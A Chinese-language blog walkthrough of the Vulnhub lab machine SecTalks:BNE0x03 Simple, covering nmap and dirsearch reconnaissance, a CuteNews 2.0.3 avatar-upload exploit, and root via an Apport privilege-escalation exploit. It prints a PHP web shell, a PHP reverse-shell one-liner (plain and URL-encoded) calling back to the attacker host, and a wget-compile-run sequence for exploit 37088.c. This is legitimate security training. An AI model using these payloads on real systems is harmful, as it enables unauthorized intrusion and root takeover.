1831 字
9 分钟
Vulnhub-SecTalks:BNE0x03 - Simple
SecTalks:BNE0x03 - Simple
主机发现端口扫描
使用nmap扫描网段类存活主机
因为靶机是我最后添加的,所以靶机IP是
170
nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:38 CST Nmap scan report for 192.168.75.1 Host is up (0.00024s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00021s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.170 Host is up (0.000088s latency). MAC Address: 00:0C:29:B4:EA:57 (VMware) Nmap scan report for 192.168.75.171 Host is up (0.00032s latency). MAC Address: 00:0C:29:B4:EA:57 (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00022s latency). MAC Address: 00:50:56:EC:C5:A4 (VMware) Nmap scan report for 192.168.75.151
扫描主机开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.170 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:39 CST Nmap scan report for 192.168.75.170 Host is up (0.00075s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http MAC Address: 00:0C:29:B4:EA:57 (VMware)
扫描主机服务版本以及系统版本
nmap -sV -sT -O -p80 192.168.75.170 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:42 CST Nmap scan report for 192.168.75.170 Host is up (0.00056s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) MAC Address: 00:0C:29:B4:EA:57 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
扫描漏洞
nmap -script=vuln -p 80 192.168.75.170 PORT STATE SERVICE 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.170 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.75.170:80/ | Form id: login_form | Form action: /index.php | | Path: http://192.168.75.170:80/index.php | Form id: login_form | Form action: /index.php | | Path: http://192.168.75.170:80/?register&lostpass | Form id: | Form action: /index.php | | Path: http://192.168.75.170:80/?register | Form id: regpassword | Form action: /index.php?register | | Path: http://192.168.75.170:80/index.php?register | Form id: regpassword |_ Form action: /index.php?register |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ | http-enum: | /rss.php: RSS or Atom feed | /core/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)' | /docs/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)' |_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)' MAC Address: 00:0C:29:B4:EA:57 (VMware)
web渗透
先扫描吧
dirsearch -u 192.168.75.170 -x 403 // [13:50:50] Starting: [13:51:13] 301 - 314B - /core -> http://192.168.75.170/core/ [13:51:16] 301 - 314B - /docs -> http://192.168.75.170/docs/ [13:51:16] 200 - 507B - /docs/ [13:51:18] 200 - 4KB - /example.php [13:51:18] 200 - 1KB - /favicon.ico [13:51:22] 200 - 1KB - /index.php [13:51:22] 200 - 1KB - /index.php/login/ [13:51:25] 200 - 1KB - /LICENSE.txt [13:51:36] 200 - 28B - /print.php [13:51:37] 200 - 2KB - /README.md [13:51:39] 200 - 118B - /rss.php [13:51:39] 200 - 758B - /search.php [13:51:42] 301 - 315B - /skins -> http://192.168.75.170/skins/ [13:51:48] 301 - 317B - /uploads -> http://192.168.75.170/uploads/ [13:51:48] 200 - 408B - /uploads/
/uploads/
应该是一个上传目录- 通过README等来看,CMS能确定是
CuteNews 2.0.3
查阅CMS是否存在漏洞
searchsploit
扫描出任意文件上传漏洞searchsploit CuteNews 2.0.3 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- CuteNews 2.0.3 - Arbitrary File Upload | php/webapps/37474.txt -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
拉取下来,跟着步骤走
CuteNews 2.0.3 Remote File Upload Vulnerability ================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################## 1 0 I'm T0x!c member from Inj3ct0r Team 1 1 ########################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability # Date: [02/07/2015] # Exploit Author: [T0x!c] # Facebook: https://www.facebook.com/Dz.pr0s # Vendor Homepage: [http://cutephp.com/] # Software Link: [http://cutephp.com/cutenews/cutenews.2.0.3.zip] # Version: [2.0.3] # Tested on: [Windows 7] # greetz to :Tr00n , Kha&mix , Cc0de , Ghosty , Ked ans , Caddy-dz ..... ========================================================== # Exploit : Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal 1 - Sign up for New User 2 - Log In 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal 4 - Select Upload Avatar Example: Evil.jpg 5 - use tamper data & Rename File Evil.jpg to Evil.php -----------------------------2847913122899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\ 6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php
尝试利用CMS漏洞
注册新用户
随便填一下,我填的
sunset
Aa118811
登陆进去来到
Dashboard
>Personal options
上传图片马然后抓包修改文件后缀为
.php
# shell2.jpg GIF89a <?php system($_GET['a']); ?>
-----------------------------228896324810094846214215287044 Content-Disposition: form-data; name="avatar_file"; filename="shell2.php" //修改后缀名 Content-Type: image/png GIF89a <?php system($_GET['a']); ?> -----------------------------228896324810094846214215287044
CMS提示
upload successfully
在
Dashboard
>Personal options
复制头像链接,然后加上a
参数尝试# /uploads/avatar_sunset_shell2.php?a=ls GIF89a avatar_sunset_shell2.php
成功,我们执行反弹
shell
代码,同时kali
开启监听php -r '$sock=fsockopen("192.168.75.151",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
注意进行
URL
编码/uploads/avatar_sunset_shell2.php?a=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%37%35%2e%31%35%31%22%2c%31%32%33%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27
获得
shell
提权
查看权限
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $ uname -a Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
敏感信息搜索,没找到扫描有用的信息
尝试内核提权
searchsploit Linux Kernel 3.16.0 | grep Local // Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation | linux/local/50135.c Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation | linux/local/41995.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | linux/local/41886.c Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation | linux/local/34923.c Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation | linux_x86-64/local/44302.c Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service | linux/dos/42136.c Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation | linux/local/45553.c Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c Linux Kernel < 4.14.rc3 - Local Denial of Service | linux/dos/42932.c Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
尝试了几个无法提权,使用
Ubuntu 14.04
进行搜索searchsploit Ubuntu 14.04 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation | linux/local/37088.c Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation | linux/local/36782.sh Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution | linux/local/40937.txt Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation | linux_x86-64/local/42275.c Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation | linux_x86/local/42276.c Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access /etc/shadow) | linux/local/39771.txt Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation | linux/local/41999.txt Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) | linux/local/39166.c Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | linux_x86-64/local/40871.c Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation | windows_x86-64/local/47170.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c NetKit FTP Client (Ubuntu 14.04) - Crash/Denial of Service (PoC) | linux/dos/37777.txt Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation | linux/local/41762.txt Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation | linux/local/36820.txt WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based Buffer Overflow | linux/local/44204.md -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
第一个就是本地权限提升的,我们尝试一下
37088.c
,查看文件没有特殊的编译要求,我们将它下载到靶机,然后编译执行,提权成功$ wget 192.168.75.151/37088.c 100%[======================================>] 6,027 --.-K/s in 0s 2024-10-30 02:50:19 (34.9 MB/s) - '37088.c' saved [6027/6027] $ gcc 37088.c -o 37088 gcc 37088.c -o 37088 $ ./37088 ./37088 created /var/crash/_bin_sleep.33.crash crasher: my pid is 1559 apport stopped, pid = 1560 getting pid 1559 current pid = 1558..2500..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500.. ** child: current pid = 1559 ** child: executing /bin/su Password: sleeping 2s.. checker: mode 4516 waiting for file to be unlinked..writing to fifo fifo written.. wait... waiting for /etc/sudoers.d/core to appear.. checker: new mode 32768 .. done checker: SIGCONT checker: writing core checker: done success # id 'id uid=0(root) gid=0(root) groups=0(root)
Vulnhub-SecTalks:BNE0x03 - Simple
https://sunset-blog.top/posts/vulnhub-sectalksbne0x03---simple/